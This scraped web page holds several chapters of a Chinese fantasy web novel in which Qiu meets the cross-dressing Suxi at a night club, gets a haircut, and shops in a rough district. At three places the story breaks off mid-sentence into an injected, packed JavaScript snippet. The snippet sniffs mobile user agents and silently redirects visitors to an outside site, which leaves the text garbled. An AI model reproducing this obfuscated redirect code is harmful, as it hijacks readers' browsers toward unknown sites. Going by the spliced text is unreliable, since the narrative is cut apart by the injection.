最坏最坏、坏到地心深处被岩浆烫到屁股、跳起来跑了五十公里的一种可能性明明是:就算她按计划先找到人、从克洛诺斯眼皮子底下偷走,见面之后,鸫也会和大多数人一样拒绝她。 那……那也不是不能活。过过眼瘾就该知足了,她要尊重自然规律,不可以对一个自然人提出太过贪心的要求;再说一时的拒绝也不值得气馁,她还有很多努力的空间——“大多数人”拒不拒绝,他们又不重要,阿邱才不在乎,只要她认定目标、下定决心,总有一天能让鸫看到她的好!到那时,她就可以自由自在地对他这样那样了。 可见的空间中,这里只剩下阿邱一人。“外面”的生活真是不容易,今天她思考了好多好多的事,还要绷紧了神经随机应变,脑袋都要累报废了,于是,在黑甜乡里,狂喜、悲伤,伴随而来的刻奇,以及假装自己有得选,这些只属于魔半脑的机制,全都停止了运转。 放弃了一部分思考能力的人,是很容易做美梦的。 阿邱感觉自己身着轻便的铠甲,一步一哐啷、意气风发地走在花路上。聚集在道路两旁的围观人群个个面目模糊,但角色行动完全一致:拼命想要冲破神殿戍卫队的防线,为凯旋的救世主献上花束。 这叫什么,这叫夹道欢迎!阿邱微笑着朝人们招招手,她的亲民与接地气不出意外地引来了一阵尖叫。 脑瓜皮忽然一冰,阿邱抬头看了眼自己的头顶,原来是雪花落在了那里。 负责撒雪花的是新人审讯员。她一边挥舞手臂,一边用颂唱圣歌的腔调说:“这是你亲手种出来的雪花,已经取得全境最厉害最高级的专利啦,什么资格证都只是它的复印件罢了!” 和她同行的还有一个豆子警官,负责俯身牵住阿邱的长披风,谦卑地重复着一句话:“邱小姐,能为您这样的聪明人服务,是鄙人一生的荣幸。” 再往后,队伍中最亮眼的是一辆花车,上面载的是阿邱的闺蜜们,一个一米九,一个两米三,穿着五彩斑斓的礼服、背着冥蝶公主的翅膀、举着华丽的仪仗枪,威风凛凛地正在押送垂头丧气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052060|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪人童貉。 道路的尽头是红毯。娜塔莎转过身,指着同样被花车押送的克洛诺斯嘲讽道:“这个老男人竟敢和你争高低,真是不知天高地厚!” 那么红毯就是用他们的鲜血染成的。红毯的另一头,有一个身披白纱、高大威猛、有棱有角、温润如玉的男人,不用他转身,阿邱便知道那是鸫。 天空中有流星划过,走到满面红光的牧师面前,鸫一抬手,摘下了自己的项圈。 阿邱这才意识到,她自己的脖子上也一直清清爽爽的,没有项圈的束缚。 牧师开口了:“无论贫穷,或是富贵……” 什么呀,原来这是婚礼现场吗!这么多人看着呢,怪难为情的。 阿邱红着脸想阻止牧师,再看他时,他的五官却突然扭曲,变成了青面獠牙和三头六臂,和书上画的魔族一模一样。 “无论是疾病,或是天火吞噬瓦德密尔——” 什么意思,说得就像天火归他们魔族管似的!那应该叫地火才对吧? “无论是异端上岸,或是人类在一夜之间全部消失——” 他是不是没查过十字城邦近五年来的人口增长率啊!唱衰也得讲讲客观事实吧,阿邱骄傲自豪地心想,就该冷死他。 “——你都愿意成为这女人的囚徒吗?” 由于没听过鸫的嗓音,梦境不得不从别处找些素材来拼凑他的台词:“……数到3。敞开怀抱。” 阿邱完全没有头绪,但在美梦中,她觉得自己搞懂了个七七八八,想扯着豆子警官的袖子问他有没有补充意见,一抬头,却发现舞台上的所有人都消失了,只剩她一个人坐在观众席的正中央。 ———— ———— 错不了,肯定是发型的问题! 阿邱一骨碌爬起来,摸摸头顶的冰凉:不怪新人审讯员乱撒雪花,原来是天花板在漏水啊。 这两天好像没怎么下雨吧——但这里不是独栋,楼上还有其他居民,谁知道水是打哪儿来的?阿邱也不想知道,急急忙忙把打湿了一角的平面鸫转移到干燥的地方,快步奔向浴室,却发现水管只会剧烈地干咳。 好在楼下的厨房还没停水。蹑手蹑脚、咕咕哝哝地洗干净头发,阿邱彻底清醒过来——此时此刻,舞厅里一片寂静,牧笛他们大概也各自回房休息了,说明在开门营业期间,她完全没被吵醒,一觉睡到了凌晨四点钟。 就这样作弊似地存活了一整天?那还有什么好说的,生活就是棒!超级棒! 同时,她也在梦里想通了一些事:两天喜提三个拒绝,不可能是常态,绝对不可能!人的主观能动性才是最可靠的伙伴,为了早日披上长披风、领着花车走花路,阿邱决定主动出击,先从审视自己身上还有没有可改善的地方开始! 那么她的结论就是——肯定是发型的问题。 由于资金紧张,本想等找到了鸫再考虑打扮的事,可俗话说机遇留给有准备的人,要想以最佳面貌迎接第二步,她就必须提前准备一百步! 阿邱活像被打了鸡血,亢奋地在厨房里来来回回地转圈。她现在就要出去,找个最好的理发师,剪个最时兴的发型!可恶,天怎么还没亮!啊啊啊啊!天怎么还没亮!没亮也没关系!她决定从今天开始把跑操提前到凌晨四点钟! 掀开油腻的珠帘,阿邱顿住了脚步。 一楼不只有她一个人在,不知什么时候,俱乐部门口多出来一个熟悉的身形,看那剪影和肢体动作,就是巷子里的女装怪人没跑了。 远远地,她几乎能感受到他披了一身的夜寒,不由得先开口搭话道:“你冷吗?” 女装怪人反问她:“你在梦游吗?” “没有啊,我是醒着的。” “好。” 经过一段可能是为了互相打量的沉默,女装怪人又问: “你就是牧笛捡回来的流浪猫?” 礼貌吗!阿邱一叉腰:“不,我是你们的福星!” 女装怪人的剪影抬起手,掩唇轻笑。 阿邱不服气。这位明显是先生的先生,你不是亲自去踩过点吗,怎么人到了跟前又在这装上了? 如果这位先生的神经够敏锐,他该马上流着冷汗向广场方向叩拜——阿邱的不拆穿,才是对双方生命安全的尊重。 15. 第十三章 苏西 got your 那人歪头抱臂,也在用剪影表达不服气。 “干嘛总关心别人冷不冷?每个人的体质都是不一样的,要怎么给你统一的答案?” 这么一说,阿邱忽然想起她今天还没提醒过终止式的长官们注意保暖……反倒关心起了相对遥远的女装怪人与美少年们,因为他们只是出现在了混乱的开头与结尾。 同样地,“我也不需要统一的回答。” 那人没接话,抡起胳膊,“哐”一声把提在手里的靴子扔向鞋架——准确来讲,用靴子把鞋架击退了两厘米。接着,他迈步走向卡座,指尖搓火、点燃了桌上的矿油灯,沉甸甸地陷进沙发里,吐出长长一口气——哎呀?原来是烟。 被阿邱忽视的星火在他眉眼间跳动。在幽暗的光源下,卸去烟熏大浓妆的他,哦?不得了,是咱们有眼不识泰山了——也是一位美貌惊人的绝世大帅哥哟!原谅阿邱吧,她实在很难用高雅的词汇去形容这份独属于俗世的美,等下次遇到什么空谷幽兰再使劲翻词典就是了。 一个小心愿得到实现,在原谅人群的几小时后,阿邱又原谅了生活。 这回是什么心愿呢? 很久以前,她也是在这样的时节游历到了卫城圣湖,雪山上气温低,开了春,通身透明的冰棱柱还悬挂在房檐上,宛如一道道浓缩了时光的瀑布;阳光近在天边,由它们五光十色地推搡着,好不喧闹。 那时候的阿邱就已经对男生有些这样那样的想法了,在古典主义小说中,这种情愫会被描述为“情窦初开”,但古典主义小说没搞清楚一件事:导致她情窦出开的不是一个具体的被选中的男救世主,事实上,世间的一切都有可能激发她的这种想法,面对如此美景,俗人如她是这么许愿的:要是将来能遇到一个能让她联想起这副场景的同龄男性,那该是多么幸运啊! 他人的美貌串起了当下和过去,也稍稍抚平了焦躁,阿邱在冰棱柱对面的沙发上坐好,睁大了眼睛盯着他看,就像在狼吞虎咽地品尝一道美食。 男人的微笑被灯光染上一层暧昧的暖色:“我好看吗?” “好看!” “可我不喜欢女人。” “啊?这还能影响到外貌的吗?” 微笑和暧昧全被他“噗嗤”一声破了功:“不能。” “那为什么要告诉我这个?” “逗你玩。” “什么?” “没什么。” 阿邱认为,这段对话比梦呓还要没逻辑。 感受到对面没有和她一样的交流兴致,她把注意力全都集中在视觉上,并傲慢地调用了个人审美:这位冰棱柱到底怎么想的,浓妆艳抹和曳尾裙分明一点也不适合他,像现在这副天然去雕饰的打扮才对味!如果非得穿女装,也不是没有简约清爽的居家款可供选择嘛。 此外,不得不说,他初登场时的那种风格,可能比较适合……前提是当事人得同意,不同意就算了……比较适合鸫。 因而阿邱有种直觉:故意挑一身不适合自己的衣服,方便他隐藏本我,这个人很可能是被迫穿女装的。 她承认自己是有些双标了,无论牧笛穿得合不合时宜——即便这位壮汉合乎相貌地戴着厨师帽,也不会引起她深入分析的兴趣;只有放松到不在乎的程度,才可以顺口叫出一句他最渴望的“大姐”。 眼前的男人姿态上倒很放松,穿着拖鞋的双脚划着大弧线摆到桌上:“哦,忘了跟你自我介绍。” 说什么“忘了”,骗小孩呢,肯定是他刚才没找着合适的开口时机,现在又不好意思承认——阿邱接着深入分析道。 “我叫苏西,请多关照。” 他语气随意,也没有介绍身份和职业,说明他不好意思介绍,那么极大概率,他是这里的舞男。 阿邱会意,在沙发上东摸西摸:“你落了东西吗?我帮你找。” “没落东西,我刚从外面回来。” 有编制的舞男也需要出差的吗?看来这份工作也并不轻松呢…… 又或者,他出的根本不是差……这句字少,没有可信度,嗯嗯。 沉默中,苏西和阿邱对视了一会儿,摁灭烟头,略微挪开了几寸:“小姐,看够了没?你一直盯着,我都不知道做什么表情了。” “噢噢,对不起。”阿邱往后一仰,把扰人的目光转向了天花板。 苏西带着笑意,懒洋洋地盘桓在寒暄的死胡同里:“该说点什么好呢……欢迎来到夜之窟?” “不欢迎盯着你看的人来到夜之窟?” “我可没这么讲。” “呵呵是吗,我就不一样了,我向来喜欢有话直说。” “请直说。” “——比起你们的老板,我更愿意让你来当导游。” “导游啊……如果你能接受无实物口头游览的话,我很荣幸。” 自以为不着痕迹地打探到了情报,阿邱夸张地转转脖子,翘起二郎腿,把手放在膝盖上,身体前倾:“你确实应该感到荣幸。” 微弱的光线中,苏西镜像模仿了她的动作:“天一黑,你就会变成另外一种性格吗?” “你说性格?不如说是情绪吧,不一定以天黑为分界线啊,其实我也搞不明白它变化的时机……你接着说,无实物游览我也愿意,无实物,呜呼!” 苏西情绪稳定,没有接着模仿她的手舞足蹈:“好,既然你感兴趣,那我就简单讲两句吧,咳咳!夜之窟这地方啊,和你理解中的普通黑街不太一样,这么说吧,它是背阴处的背阴处。” “我理解,每个小镇都认为自己家的黑街是全世界最黑的街。” 苏西莞尔:“听起来,你去过很多地方?” 阿邱也用指尖搓了搓火星,但并没有点燃第二盏灯:“黑街的好处嘛,就是可以收留暂时无法走到向阳处的人,不过他们迟早都会回到向阳处的,这就是我们十字城邦的魔力!” 苏西靠回沙发背,不置可否地笑笑。 他应该是不想再聊这个话题了,拍了拍手道:“还有,恭喜你逃出生天——从虚伪的终止式与虚伪又愚蠢的神殿戍卫队手中。” 咦?作为一个舞男,他知道的是不是太多了? ——都“浓缩时光的瀑布”了,他可能早混成这里的头牌了吧。 阿邱重重叹气:“可别提了,这不叫逃出生天,这叫高攀不起。” “我觉得高自尊如你,不会真这么想。” “我算哪门子的高自尊,我那自尊心都低到尘埃里去了……” “邱小姐,你真是一点也不了解你自己。”好消息是,苏西不知被她触动了哪一点,莫名其妙卸下一些伪装,“是在旅馆那边也碰了钉子吗?闲着也是闲着,不如跟我倾诉一下吧。” “可以吗?” 接下来,阿邱犯了一个社会新人经常犯的错误:交浅而言深、在刚认识的人面前自我暴露过甚。 由于克洛诺斯难以深入分析,“那就讲讲我这两天遇到的暴躁公主病、势利眼咸鱼罐头和臭脸小矮子吧!” 她把新旧问题混在一起,添油加醋地吧啦吧啦讲了一大通,最后自己做总结:“总之大家都很讨厌我,讨厌的形态还各有不同:要么直接人身攻击,要么客客气气地给我闭门羹,要么就是强行教我做事,教完了再给我闭门羹……我真是百思不得其解,我也没提太高的要求呀,怎么就连日常生活都要受他们的阻碍呢?” 话说出口就无法反悔了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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知道他不是故意要敷衍的,只是力有不逮,阿邱也原谅了他——不过什么药的药效这么立竿见影?一会记得问问他。 “你要说仔细观察的话……” 豆子警官长什么样来着?她忽然记不得了。 这是因为他早上情绪不佳,阿邱有点害怕,就没敢仔细看他的长相。 哦对,旅店老板她仔细看过了!脖子特别粗,听说这样的人更容易情绪激动——人类只是生理特征的傀儡?那倒也不是。 新人审讯员那边又是什么问题呢? 头发已经够顺的了,还一直捋一直捋,就好像听阿邱说话会让她发质干枯似的。 看她掰着指头细细回顾的样子,苏西不禁微笑道:“对吧,根本不是发型的问题——我说你的发型。我是觉得,像你这样支离破碎、飘飘忽忽、浑身死气的人,没准还对那些人有种特别的吸引力呢。” 阿邱一听,眉毛都拧成结了:“什、什么意思,干嘛突然拍我马屁?而且你那些形容都跟我正好相反吧?就算我有吸引力,那也应该是乐观向上、坚韧不拔、智勇双全、诚实谦逊……” “所以我说,你一点也不了解自己。” “你才认识我多久啊!你认识我有我认识自己的时间久吗就在那里大放厥词……” “而且你这样的状态——” “先听听我的话再接着往下说啊!” “——会让我想起那些出狱后在三个月内自杀的囚徒。” 阿邱咽了口唾沫:“行,一个个的都是民间调律师……” “好在你已经进入了亢奋期,还能趁此机会快速完成一些事情,那么苏西我先在这里祝你好运啦,鼓掌鼓掌!” 苏西把手伸到她眼前,响亮又阴阳怪气地拍了三下。 阿邱避之不及:“你先回答我,你凭什么这么笃定?你是会读心魔法还是怎么着?” “我不会读心魔法,但你听过一句话吗?世间的一切相遇,其实都是久别重逢。” “包括我和你?” “什么话都说破就不好玩了。” 16. 第十四章 嫁接 阿邱尽力回顾了她的前小半生,无论如何都提取不到她跟苏西“久别重逢”的记忆。 “我绝对没有见过你。”的确,但凡见过他这张脸的,谁又能忘记? 结果人家点头附和道:“对啊,我也从没见过你。” “……那你说这句话的意思是?” 苏西打个哈欠:“你就当我是在梦呓吧。” “……” 想到伤员差不多该去休息了,阿邱站起身:“好吧,请允许我先行告辞——” “稍等。” 苏西也伸着懒腰站起来:“你刚才是想出门?我跟你一起。” 怎么,这个皮肤紧致到眉头夹不死半只跳蚤的也怕阿邱半路跑了? “我要跑了。”阿邱摆臂示意:“我是说,我要出去跑操了。” “那正好,我也出去跑跑操。” “什么?不行,你的伤口会裂开的!” “不存在,我受的都是没有伤口的伤。”苏西还真的扶着桌沿拉伸了几下:“运动运动,活血化瘀。” “你还蛮有经验的嘛。” “干这行的,正常。” 所以到底干哪行的啊? 再想知道,阿邱也不会主动问出口——坐等对方自己哭着承认,整件事才更有嚼头。 趁人去后台换装,她把眼镜戴戴好,在夜色的协助下独自消化了一些关乎“后怕”的情绪。 可当苏西走出来时,她也“噗嗤”一乐破了功,因为这位每个五官都长在冰清玉洁的位置上、但不懂得如何使用美貌的尤物,又换上了他那破曳尾裙和渔网袜,化好妖艳的烟熏妆,戴上了大波浪假发——还重新烫卷了,划出把风尘味写在发型上的三七分!一下子把阿邱的生活清爽度拉到了谷底。 与此同时,他看起来也比刚回来时更冷了,唯一较为关爱自己的改动,只剩把恨天高换成了方便行动的浅口低跟鞋。 想到今后会常常跟他见面,阿邱咬咬牙,终于决定为自己傲慢的审美提些意见:“大姐,没有冒犯的意思,其实你——” “别叫大姐,我是男的哦。” “好的。大哥,其实你可以尝试减少衣饰的繁复度,改走简约风……” 得到了意料之外的反馈,苏西毫不动摇,反过来打量打量阿邱的穿着,温言道:“后台还放了些我的旧衣服,你要是不嫌弃,随便拿去穿吧。” 话势像鱼一样地溜走了。被打断的评委大致读懂了潜台词,但她也毫不动摇,因为她始终有种不知缘起的理直气壮:在这个时代,男性的头部群体——被挖去献媚于大众的美少年们——做族谱翻身生意都做到风生水起了,剩下的那部分更应该注意打磨外貌条件才是,没道理红利都吃尽了,还想把残酷的竞争外包给女孩们;如果他们非得这么干,倒是先从指头缝里漏点资源出来呀!天下没有这种一本万利的买卖,谁同意谁反对? 像这种魔半脑的想法是绝对不能宣之于口的。阿邱探头看看后台,比起找衣服穿,她更好奇苏西的衣柜里有多少奇形怪状的宝贝,既然人家都拿送旧衣这个好处来堵嘴了,那还客气什么,有空就进去探个险吧。 “啊,我明白了,你们俱乐部主打废土风。”人半脑要求她适时递上台阶,“可我实在看不出来牧笛先生的锁子甲属于哪种风格……” “别害怕,那是他的个人风格。” “也太个人了吧!” “原谅他吧,到了那个岁数,被人记住的方式就只剩下猎奇了。” 阿邱有点没脾气了。这苏西讲话还算客气,但仔细一分析,实则比豆子警官还要刻薄。 淡猫俱乐部可能禁止长时间发呆,阿邱只是不知道怎么接话,苏西就拍拍她的头唤她回神了:“走吧宁芙小姐,再待下去天就要亮了。” 先不提乱起外号的事,天亮对他来讲莫非是件坏事? 出了门,阿邱也不知道要去哪,侧过身,让免费导游苏西带路。 “随你去哪。但别忘了身后还有个人在哦——不然我怀疑你也想随便找个地方把我扔掉,然后就能回去交差了。” 跟屁虫嘟嘟囔囔地说着,苏西一听就知道她还在抱怨白天的事,笑道:“这么点小事,你还打算记多久?” “这才不是小事,接下来我还有十万字要跟你吐槽!” “可以啊,如果你这辈子都不想再见到我的话。” “……浓缩到一千字以下可以吗?” “你讲吧。” 一千字都不嫌多?阿邱不觉得她的小花招会在这种老油条面前起效,只能相信他为了他的greatergood要把知心大哥扮演到底了。 “我还有一个更大的烦恼,就算没有那些讨厌鬼出现,它也一直在折磨着我。” “哦?说来听听。” “我希望有个人为我殉情,可我又舍不得他惨淡地过完一生,更矛盾的是,我不能容忍他在我死后继续活下去。你能明白吗?花光我的遗产都没关系——如果还记得留出一点给我办葬礼的话——我害怕的是,他花着我的钱,跑去跟别的小年轻搞什么第二春,那我真是死不瞑目。” “死都死了还怕他变心?” “嗨呀,变心是一定会发生的,人的本性哪有永恒的,我那是不想让他活到能落实‘变心’的时候,仅此而已……但是为这种事杀人也太不道德了吧!你觉得呢?” 苏西放慢了脚步,送她一个45度角的回头:“这算什么难题?临死前你给他割了不就行了。” 过去,阿邱很少在这类话题上产生醍醐灌顶之感,听他这么一说,就差没双手举过头顶鼓掌叫好了:“有道理哎!不不,不光是有道理,让我重新夸——这已经是真理级别的解决方案了,你该不会是个天才吧?” “谢谢,您过誉了。不如来听听我的看法吧:往根儿上看,你的核心问题出在这里:你最担心的是,就算在你活着的时候,这些需求——无论是殉情还是绝育,你说你的,他根本不会听。” 这个核心问题也挺个人的,苏西发现了吗? “这就是你们常说的那什么,话语权,对吧!我明白了。”说话时,阿邱把嘴拢成圆形,这是一种对“天真”的刻板演绎,她屡试不爽,“跟着你能学到太多东西了,以后我们也要经常聊天好不好?” 苏西貌似没有正面拒绝。之所以不敢确定,是因为阿邱突然蹲下身子系鞋带,鞋带没有散,她只是想忙点别的以回避苏西的回答。 除了拒绝,沉默可能也代表他发现了“很个人”,并且没当回事。好的,同样的异常连续发生两次,阿邱现在可以确认了:主动前来与她接触的淡猫俱乐部,似乎对她的魔半脑很有心理准备的样子嘛。 那么在不久的将来,双方撕破脸的场面一定会特别精彩吧!她简直迫不及待要看看究竟谁会骑在谁的头上、谁把谁的脖子“嘎巴”一声踩断了——不行,期待之情不可以溢于言表,得忍、得忍。忍不了了!快点的牧师,你就听她的,赶紧在旧矿山镇降下天火吧,纵火要从夜之窟开始! ……牧师说,别急,对面有一整个俱乐部呢,锁子甲都穿身上了你还不怕? 怕啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052062|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不怕?阿邱笑嘻嘻地换了个话题:“往根儿上看我也只是个迟钝的人,不是故意要讲这些蠢话的,希望你别见怪。对了,听说你们镇上有个号称‘加百列’的调律师,很会帮人开智,不知道跟那个传说中的摩罗斯比起来如何——” 苏西又一次打断了她:“的确,你对自己的误解已经深到需要去看调律师了。” 摸不准他对人名的反应,阿邱换了个角度提问:“是这个道理,可我还是有点怕怕的,最近的新闻你看了吗?没事还是少找调律师为妙,他们中的有些坏分子怕是掉进钱眼里了,竟敢把地下黑医的手段带到地上行业来,好像说是用一种血蛭去除患者脑内的血块,效果很好,但也很危险,需要一直用昂贵的药物抑制这虫子的活性;非但如此,这药贵点也就罢了,听说还有成瘾性,要是疗程中断了供,人就会血崩而死,你说,这要是被坏心肠的调律师拿来当做——” “我们到了。” “——控制病人的一种手段,那不就……嗯?什么到了?” 仿佛是为了回应她,街边的一个摊位“滋啦”一响……仅此而已,并没有给弯弯曲曲的灯管招牌带来一丝光亮。 “你不是说问题出在发型上吗?我就带你来解决问题。”苏西指着灯管组成的“剪头man”三个大字说道。 他不是已经否决这个归因了吗…… “也没有全盘否决,换个发型换种心情嘛。” 听到谈话声,露天理发摊——不,露天理发小推车的车主钻出车底,手动拧亮焊在车头的油灯,挂着笑容的面皮黑过了破晓前的天色:“欢迎光临,洗头还是剪头?两个人半价哦!” 在只有中间一小块尚能鉴人的镜子前,阿邱被迫得知了热情的剪头man“一般不住夜之窟,住镇南窄街的夜莺巷来的哦!” 虽然有些茫然,但阿邱也热情洋溢地回话了:“好好,有机会我一定会去观光的!方便打听一下吗,你又不是做早餐的,怎么这个点就出摊了?” 叉着腿坐在另一只马扎上、一点也不端庄的苏西替他回答:“因为他专为我们这种只有凌晨时间可供自由支配的人服务。” 黑皮小哥手法利落,不出十分钟,阿邱失去了一条低马尾、得到了一颗蘑菇头。 加上眼镜,整个人显得更呆了,一看就知道不会害人……嗯,迷惑性增强了一百倍。 换发型是阿邱刚走进这条街就产生的想法。原因有点绕,需要调用她前小半生的回忆来解释:自从离开塔尔塔洛斯,她就养成了每到一个地方就给自己找个植物朋友的习惯,在阿瓦隆神学院,她的朋友是宿舍楼下那棵银杏树,除了植物无法开口拒绝……她们俩很要好的原因是,银杏和阿邱有点像,去掉界和门,纲目科属种,全都只有自己一个人。 来到夜之窟与“好去处”的交界带,她看到园丁正在为街口的龙柏修剪枝叶。由于暂时找不到第二棵银杏树,退而求其次,她觉得人工栽培的嫁接植物也能跟她互相理解。 给龙柏修剪树冠,可以让它更为规整地螺旋上升,同理可证,给阿邱修剪毛发,可以让她更合时宜地通天彻地。 在那之前,尚不能通天彻地的阿邱掏了八个口袋凑出剪头费,可摆在眼前的问题是,她得先从剪头man手上把自己解救出来。 “好了好了我不办卡,我真不办卡……而且卡的规则是剪一次三个银币、剪三次十个银币,你是怎么算的,这不还倒赔一个吗!” 苏西毫无伸出援手的意图,远远坐着,用拳头掩唇憋笑,就好像这一刻才是他一整宿最快乐的时光。 17. 第十五章 正经恶棍 目的达成后,即便察觉到被摆了一道,阿邱也没有生气:逛街的地陪换成了苏西,体验可比昨天那个好多啦! 那么问题来了:为什么出行目的从跑操变成了逛街? 答案是,不来一趟夜之窟,她都不知道天亮以前为夜猫子服务的人有这么多。由此可以推断,在别人酣眠时才有闲暇可供自由支配的,在这个地方并不鲜见。 因为支配着见不得光的时间,购物的时候,他们遇到了一点小问题。 砍价是很有意思的,阿邱经常在小说里读到类似桥段,高明的主人公先这样这样,再那样那样,然后店家就放下身段、哭着喊着追出十里地答应卖给她了,真解气呀,所以这是她在“那地方”就很想试试的第三件……第二件事了。 可惜这个蹲在路边卖旧衣的摊主,他不按常理出牌! “全部打包……才、才肯出售!” 这摊主眼睛滴溜溜地转,没有半点东城人引以为傲的丰盛富足气质,要不是他守着一张肮脏白布铺成的“摊儿”,不知道的还以为是夜贼要在这接头呢。 苏西一眼就看出了猫腻:“这些都是从集体公墓的死人身上扒的吧?” 摊主没能抓住反驳机会,慌张得站也不是蹲也不是。 阿邱笑道:“哇,贵镇的集体公墓还真是疏于管理呢!” 苏西跟着笑:“不然你以为它为什么叫集体公墓?” 是哦,那么大块地皮都不收租子的,还特地提醒潜在的祭拜者不能使用明火,已经算仁至义尽啦。 既然那地方的管理如此方便夜贼干活,阿邱倒有个小提议:或许“集体公墓”换个名字更好,譬如说,乱葬岗? “这段时间附近死了很多人吗?”镇子的脸面毕竟不归她管,她要集中精神向摊主打听事情。 摊主把头摇成新涂了油的螺旋桨:“没死、没死,说那不吉利的干啥!就算真有什么事,该死的也是那帮西城蚬子。” 又来了,东城壳子憎恨全世界的设定正在发威……规律如下:身在世上最好的城邦瓦德密尔,他们有底气仇视一切“异邦人”。 “算了,打包就打包吧。我没剩多少钱了,五个子儿能买几件?” “六个子儿你全带走。” “……那不好意思,麻烦减两件卖给我吧。” “不行,绝对不行,不打包我不卖!” “你这是何必呢?剩的两件你还可以等下一个买家来——” “闭嘴吧你,别以为我看不出你想占我便宜,不给六个子儿,打死我都不卖!” 阿邱重重叹了口气,模仿小说主人公这样那样的第一式——起身欲走,却忘了提醒苏西配合演出,两只手使了半天劲,根本拽他不动。 他还有话要说? 不,他还有枪要掏。 “好啊。” 从曳尾裙下的吊带袜里,苏西摸出一把看不出型号的小手枪,笑眯眯地在手里转了一圈,借势“哐”地上了膛,阴森森、黑洞洞地对准了敌人:“那就打死你。” “喂!” 阿邱大惊失色:他们地陪,都都都,都是做事不够极端不给上岗的吗! 摊主惊叫一声,丢下新鲜出土的货物,屁滚尿流地逃跑了。 现在可好,阿邱和苏西荣登方圆五十里大恶棍榜首,比扒尸体的夜贼还值得一逮。 可夜之窟到底不是太阳底下的新鲜地方,见苏西无所谓地拿裙角擦擦枪,阿邱也入乡随俗地保持着平常心,蹲下身子,很快翻过一遍原价六银币、现价零元购的——古着,大概吧,没能找到她精心准备的葬礼用绒布裙。 要么娜塔莎埋得足够深;要么那条裙子在别的摊贩手上。 不,怎么会呢,娜塔莎可是镇长亲自关照过的人,就算家住乱葬岗,也能独享专人专间,就和现在的阿邱一样——嗯,这句话字很多,还包含了因果,很有可信度。 “蠢东西。”苏西收起枪。见阿邱一副欲言又止的样子,眯着眼欲盖弥彰地说:“哦,这只是玩具,不伤人的。” 阿邱不关心枪,平常心地总结规律:“在夜之窟做生意是不是有个准入门槛,我是说,算不明白数?” “算数?你知道能把数给算明白的知识值多少钱吗?”苏西发出一声短促的嗤笑,“该学的人都学会了,平头老百姓又怎么可能摸得到边呢。” 此言一出,他的形象就失去了美好的虚无缥缈性;从内容可以判断出,苏西大概也是个愤世嫉俗的底层人,最擅长的就是底层互害。 阿邱拢圆了嘴巴,进一步激怒他:“可公民不需要高深的知识也能过好生活啊,大家都是平等的,不是吗?” 她在不冻港对娜塔莎说过差不多的话,但此处的腔调借鉴自这样一类人:看到小孩沉迷读书,十五六岁了都不太和异性接触,急得上火生疮,常把“学那么艰深的数学干嘛,买菜时算对价格不就够了吗!”挂在嘴边的家长——他们的孩子体质不好,不幸被分流去了文法学校,好死不死又参加了至今尚未被取缔的冷门学科兴趣班,又花钱又不实用,真叫人头疼啊! 本想借机让苏西多暴露一点心声,谁知他发火发了一个小火苗就歇菜了,改为语重心长地教导阿邱这个社会新人:“我是看出他着急脱手才掏枪的,你是女孩,没怎么跟这种人打过交道,一个人的时候千万别这么干,听到了吗?” ——甚至还替愤世嫉俗的自己转圜:“刚才那是特殊情况,所以我们特殊对待;正经生意人不会这么横,再怎么说咱们还有平准术呢,全境物价统一,无论卖家买家,想上当受骗都难。” 行,他说是就是吧。阿邱停止了试探,于是虚无缥缈的冰雾也回到了苏西身上:“讽刺吗,瓦德密尔是知识与智慧的城邦,可你看看生活在这里的人吧,好像都对知识有强大的抵抗力似的,哈哈哈!” “这么说的话,你觉不觉得现在才是我们人类的黄金时代?” 苏西诧异地止住笑:“你不是在开玩笑吧?” “显然是啊!” 谈笑间,太阳从东方地平线上缓缓升起。新的一天,在恶棍们的领跑下开始啦。 迎着朝阳,苏西说了最后一句只属于背阴处的话:“不用同情这种人。过段时间你就会发现,大多数人都恰好配得上他们的生活。” 第一,阿邱形式上提出质疑:“怎么能这么说呢!”,第二,他哪只眼睛看到阿邱同情他们了? 她只是觉得,除了愤怒的底层人这个集体性设定,本质上苏西也是个爱教人做事的,但他比克洛诺斯更为偏激。要是两人能碰在一起就有意思了…… 到了不太容许自由支配的白天,平等享有平准术的生意人开始从牛车上卸货,他们有正经的固定摊位,苏西也正经地走钱货两讫渠道,意外在街口、在龙柏朋友的身边买到了传说中的大西瓜。 “这是瓦德密尔独一份的,境外哪有这样好的西瓜?境内的异端也吃不到,谁叫他们不悉心侍奉狄安娜女神呢!”就连摊主的语气都充满了向阳处的骄傲自豪。 苏西说:“今天运气不错,拿回去分给大家吃吧。” 他帮阿邱抱着灰扑扑的旧衣,阿邱一个胳肢窝里夹一个大西瓜,为了早点享受到领跑带来的甜美,二位恶棍跑操未半而匆匆踏上返程。 但夜之窟的白天是很短的,苏西说。此处建筑过于密集,只有清晨的阳光才能在这里留下短暂的一瞥。 在这一瞥中,阿邱意外发现,她的房间旁边也是下水管道,昨晚的漏水源自何处更加不敢细想了。 “早知道叫剪头man仔细给我洗洗了……” “你说什么?” “没什么。牧笛他们平时几点钟起床啊?” 出不了钱、出 